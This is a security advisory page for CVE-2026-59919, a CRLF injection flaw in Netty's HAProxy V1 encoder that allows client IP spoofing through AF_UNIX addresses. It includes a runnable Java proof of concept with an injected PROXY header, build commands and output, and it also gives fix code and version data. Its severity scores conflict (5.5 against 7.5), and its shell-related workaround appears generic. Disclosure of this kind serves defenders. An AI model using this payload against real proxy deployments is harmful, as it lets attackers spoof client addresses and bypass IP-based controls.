CVE-2026-59919 — netty-codec-haproxy
MEDIUMCVE-2026-59919 is a medium-severity (CVSS 5.5) CWE-93 vulnerability in io.netty:netty-codec-haproxy. A fix is available for io.netty:netty-codec-haproxy — see the affected versions and patch details below.
Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59919.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-59919 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
io.netty:netty-codec-haproxy☕io.netty:netty-codec-haproxyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-haproxy) |
| Component | io.netty.handler.codec.haproxy.HAProxyMessageEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences |
| Impact | HAProxy PROXY Protocol Injection / Client IP Spoofing |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
2. Affected Components
io.netty.handler.codec.haproxy.HAProxyMessageEncoder—encodeV1()method (lines 63-77): writessourceAddressanddestinationAddressdirectly to output without CRLF validationio.netty.handler.codec.haproxy.HAProxyMessage— constructorcheckAddress()validates IPv4/IPv6 format but only checks length for AF_UNIX (line 439)
3. Vulnerability Description
Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.
Root Cause — Encoder
// HAProxyMessageEncoder.java:63-77
private static void encodeV1(HAProxyMessage msg, ByteBuf out) {
out.writeBytes(TEXT_PREFIX); // "PROXY "
out.writeByte((byte) ' ');
out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM"
out.writeByte((byte) ' ');
out.writeCharSequence(msg.sourceAddress(), US_ASCII); // <-- NO CRLF CHECK
out.writeByte((byte) ' ');
out.writeCharSequence(msg.destinationAddress(), US_ASCII); // <-- NO CRLF CHECK
out.writeByte((byte) ' ');
// ...
out.writeByte((byte) '\r');
out.writeByte((byte) '\n');
}
Root Cause — Insufficient Address Validation
// HAProxyMessage.java:428-442
private static void checkAddress(String address, AddressFamily addrFamily) {
switch (addrFamily) {
case AF_UNIX:
ObjectUtil.checkNotNull(address, "address");
if (address.getBytes(CharsetUtil.US_ASCII).length > 108) {
throw new IllegalArgumentException("invalid AF_UNIX address: " + address);
}
return; // ONLY checks length <= 108, NO CRLF validation!
case AF_IPv4:
if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF
case AF_IPv6:
if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF
}
}
IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AF_UNIX addresses only check length <= 108 — any characters including CRLF are accepted.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses Netty's
HAProxyMessageEncoderto construct HAProxy V1 protocol headers - AF_UNIX (
UNIX_STREAMorUNIX_DGRAM) addresses contain user-controlled input - The encoded PROXY header is sent to a downstream server or load balancer
Affected use cases:
- PROXY protocol relays that construct AF_UNIX messages from upstream data
- Load balancer integrations where socket paths come from configuration or external sources
- Multi-tenant proxies that dynamically construct PROXY headers
5. Attack Scenario
Client IP Spoofing via Second PROXY Line Injection
String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
HAProxyMessage msg = new HAProxyMessage(
HAProxyProtocolVersion.V1,
HAProxyCommand.PROXY,
HAProxyProxiedProtocol.UNIX_STREAM,
maliciousAddr, // CRLF-injected source address
"/var/run/dest.sock",
0, 0);
Wire format sent to backend:
PROXY UNIX_STREAM /var/run/app.sock
PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0
The backend receives two PROXY lines. Depending on implementation:
- HAProxy: may use the first line and ignore the second
- Other implementations: may use the second line, treating the connection as TCP4 from
10.0.0.1 - This enables client IP spoofing — the backend believes the client is
10.0.0.1when it's not
6. Proof of Concept
Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.haproxy.*;
import java.nio.charset.StandardCharsets;
public class HAProxyUnixCRLFPoC {
public static void main(String[] args) {
System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n");
String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
String destAddr = "/var/run/dest.sock";
HAProxyMessage msg = new HAProxyMessage(
HAProxyProtocolVersion.V1,
HAProxyCommand.PROXY,
HAProxyProxiedProtocol.UNIX_STREAM,
maliciousAddr, destAddr, 0, 0);
EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);
ch.writeOutbound(msg);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
int proxyCount = 0;
for (String line : encoded.split("\r\n")) {
if (line.startsWith("PROXY")) proxyCount++;
}
System.out.println("PROXY lines: " + proxyCount);
System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO"));
}
}
How to Compile and Run
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
javac -cp "$JARS" HAProxyUnixCRLFPoC.java
java -cp "$JARS:." HAProxyUnixCRLFPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HAProxy AF_UNIX CRLF Injection PoC ===
[TEST 1] AF_UNIX Source Address CRLF Injection
------------------------------------------------
Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"
Wire format:
PROXY UNIX_STREAM /var/run/app.sock\r
PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r
PROXY lines found: 2
VULNERABLE: YES - Second PROXY line injected!
7. Remediation Recommendations
Option 1: Validate AF_UNIX Addresses for CRLF
// HAProxyMessage.java checkAddress() - add for AF_UNIX:
case AF_UNIX:
ObjectUtil.checkNotNull(address, "address");
byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);
if (addrBytes.length > 108) {
throw new IllegalArgumentException("invalid AF_UNIX address: too long");
}
for (byte b : addrBytes) {
if (b == '\r' || b == '\n') {
throw new IllegalArgumentException(
"AF_UNIX address contains prohibited CRLF character");
}
}
return;
Option 2: Validate in Encoder
// HAProxyMessageEncoder.java encodeV1() - validate before writing:
private static void validateV1Address(String address) {
for (int i = 0; i < address.length(); i++) {
char c = address.charAt(i);
if (c == '\r' || c == '\n' || c == ' ') {
throw new HAProxyProtocolException(
"V1 address contains prohibited character at index " + i);
}
}
}
8. References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.netty:netty-codec-haproxy | ≥ 4.2.0.Final&&< 4.2.16.Final | 4.2.16.Finalio.netty:netty-codec-haproxy:4.2.16.Final |
| ☕Maven | io.netty:netty-codec-haproxy | all versions | 4.1.136.Finalio.netty:netty-codec-haproxy:4.1.136.Final |
Affected Products
nettynettyDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-haproxy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.netty:netty-codec-haproxy to 4.2.16.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59919 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This Moderate flaw in `netty-codec-haproxy` allows for protocol-level injection attacks due to improper neutralization of CR/LF sequences. An attacker could exploit this by crafting malformed HAProxy protocol frames to inject arbitrary content, potentially leading to unexpected behavior or further attacks within the…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-59919 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-59919 in your dependencies?
Find it across Maven, including transitive dependencies.